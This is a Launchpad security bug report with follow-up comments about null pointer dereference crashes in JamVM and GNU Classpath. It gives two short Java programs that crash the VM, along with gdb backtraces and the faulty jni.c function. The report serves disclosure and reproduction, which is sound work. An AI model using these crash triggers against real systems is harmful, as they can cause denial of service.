gcc

Null pointer dereference vulnerabilities in JamVM

Bug #340201 reported by E.Kellinis
256
Affects Status Importance Assigned to Milestone
gcc
New
Critical
jamvm (Ubuntu)
Confirmed
Undecided
Unassigned

Bug Description

Null pointer dereference vulnerabilities in JamVM caused by not handling a NullPointerException in GNU Classpath
JamVM version 1.5.1 and Classpath 0.98

The following bugs result in crashing the JamVM due to dereferencing a null object (or more precisely a pointer).
Some explanation on how the bugs work follow:

Let's start by showing the malicious code:

class test3 {
public static void main(String[] args) {
 (new java.awt.PopupMenu()).show(new java.awt.Button("a"),5,5);
     }
  }

So what we've done above is create a popup menu without a parent container. The show() method in java.awt.PopupMenu
will work only if the PopupMenu is added to a parent and when the parent is visible, otherwise it should throw a
NullPointerException, RuntimeException or IllegalArgumentException.

In our (JamVM) case thats not happening, and the object (pointer) is null, which then travels and is dereferenced
at Jam_GetObjectField inside jni.c

Vulnerable function (jni.c) :
00803 jobject Jam_GetObjectField(JNIEnv *env, jobject obj, jfieldID fieldID) {
00804 FieldBlock *fb = (FieldBlock *) fieldID;
00805 Object *ob = (Object*) obj;
00806 return (jobject) addJNILref((Object*)(INST_DATA(ob)[fb->offset]));
00807 }

TEST@LP:~/test$ jamvm test2
Segmentation fault (core dumped)

GDB output and ob
(gdb) bt
#0 0x08058dfb in Jam_GetObjectField (env=0x807617c, obj=0x0, fieldID=0x8d979b8) at jni.c:806
#1 0xad33e3a6 in gtkpeer_get_widget () from /usr/lib/classpath/libgtkpeer.so
#2 0xad334832 in Java_gnu_java_awt_peer_gtk_GtkPopupMenuPeer_setupAccelGroup () from /usr/lib/classpath/libgtkpeer.so
#3 0x0806e48b in callJNIMethod (env=0x807617c, class=0x0, sig=0x8e44030 "(Lgnu/java/awt/peer/gtk/GtkGenericPeer;)V", ret_type=134701472, ostack=0x8db5d40,
    f=0xad3347f0 "U\211å\203ì\030\211]ôè\231øþÿ\201Ãöç", args=134701436) at dll_md.c:67
#4 0x08053011 in callJNIWrapper (class=0x0, mb=0x8e4a560, ostack=0x8c5a29c) at dll.c:418
#5 0x08053cbc in resolveNativeWrapper (class=0xafe50c58, mb=0x8e4a560, ostack=0x8c5a29c) at dll.c:212
#6 0x0806e0d0 in executeJava () at interp.c:2267
#7 0x08054c37 in executeMethodVaList (ob=0x0, class=0xafe2bf60, mb=0x8d5c970, jargs=0xbfaf6000 "") at execute.c:101
#8 0x08054d42 in executeMethodArgs (ob=0x0, class=0xafe2bf60, mb=0x8d5c970) at execute.c:73
#9 0x0804acbb in main (argc=2, argv=0xbfaf6124) at jam.c:350
(gdb) print ob
$1 = (Object *) 0x0

similarly and with the exact same ending is java.awt.FileDialog and addNotify

class test2 {
public static void main(String[] args) {
(new java.awt.FileDialog(new java.awt.Frame(),"test")).addNotify();
     }

TEST@LP:~/test$ jamvm test2
Segmentation fault (core dumped)

GDB output
(gdb) bt
#0 0x08058dfb in Jam_GetObjectField (env=0x807617c, obj=0x0, fieldID=0x998db70) at jni.c:806
#1 0xad2703a6 in gtkpeer_get_widget () from /usr/lib/classpath/libgtkpeer.so
#2 0xad262e0d in Java_gnu_java_awt_peer_gtk_GtkFileDialogPeer_create () from /usr/lib/classpath/libgtkpeer.so
#3 0x0806e48b in callJNIMethod (env=0x807617c, class=0x0, sig=0x99bc380 "(Lgnu/java/awt/peer/gtk/GtkContainerPeer;I)V", ret_type=2, ostack=0x984d2e0,
    f=0xad262dd0 "U\211åWVSè¼2ÿÿ\201Ã\031\"\001", args=3) at dll_md.c:67
#4 0x08053011 in callJNIWrapper (class=0x0, mb=0x99bd2c8, ostack=0x984d2e0) at dll.c:418
#5 0x08053cbc in resolveNativeWrapper (class=0xafd60588, mb=0x99bd2c8, ostack=0x984d2e0) at dll.c:212
#6 0x0806e0d0 in executeJava () at interp.c:2267
#7 0x08054c37 in executeMethodVaList (ob=0x0, class=0xafd5df58, mb=0x994f9c8, jargs=0xbf929e30 "") at execute.c:101
#8 0x08054d42 in executeMethodArgs (ob=0x0, class=0xafd5df58, mb=0x994f9c8) at execute.c:73
#9 0x0804acbb in main (argc=2, argv=0xbf929f54) at jam.c:350

Note that if we use this code in Kaffe, it will fail an assertion in both cases:

TEST@LP:~/test$ kaffe test2
kaffe-bin:
/build/buildd/kaffe-1.1.8/build-tree/kaffe-1.1.8/libraries/javalib/external/classpath/native/jni/classpath/native_state.c:176:
cp_gtk_check_compat: Assertion `(*env)->IsAssignableFrom(env, objclazz,
table->clazz)' failed.
Aborted (core dumped)

TEST@LP:~/test$ kaffe test3
kaffe-bin:
/build/buildd/kaffe-1.1.8/build-tree/kaffe-1.1.8/libraries/javalib/external/classpath/native/jni/
classpath/native_state.c:176: cp_gtk_check_compat: Assertion
`(*env)->IsAssignableFrom(env, objclazz, table->clazz)' failed.
Aborted (core dumped)

------
These bugs have been reported as security vulnerabilities as they lead to Denial of Services

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Thank you for using Ubuntu and taking the time to report a bug. Is this something that you discovered? Has it already been reported upstream and public?

Changed in jamvm:
status: New → Confirmed
Revision history for this message
E.Kellinis (e.k) wrote :

Hi Jamie,

I did discover these issues, it has been reported to http://gcc.gnu.org/bugzilla/show_bug.cgi?id=39359 due to the involvement
of GNU classpath in the issue but it has not been reported to jamvm directly.

Revision history for this message
Jamie Strandboge (jdstrand) wrote :

Marking public as all information is also in the upstream report.

Changed in gcc:
status: Unknown → New
Revision history for this message
Xerxes Rånby (xranby) wrote :

Hi the new JamVM + OpenJDK combination that we use in oneiric pass the test.
It throws a NullPointerException.

(oneiric)xranby@trimslice:~$ java test340201
Exception in thread "main" java.lang.NullPointerException: parent is null
 at java.awt.PopupMenu.show(PopupMenu.java:149)
 at test340201.main(test340201.java:3)

(oneiric)xranby@trimslice:~$ java -version
java version "1.6.0_23"
OpenJDK Runtime Environment (IcedTea6 1.11pre) (6b23~pre8-1ubuntu1)
JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching)

(oneiric)xranby@trimslice:~$ cat test340201.java
class test340201 {
public static void main(String[] args) {
 (new java.awt.PopupMenu()).show(new java.awt.Button("a"),5,5);
     }
  }

Revision history for this message
Xerxes Rånby (xranby) wrote :

gnu classpath 0.99 have been released.
http://blog.fuseyism.com/index.php/2012/03/16/gnu-classpath-0-99-released/
please test jamvm, kaffe and cacao against this new version.

Changed in gcc:
importance: Unknown → Critical
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.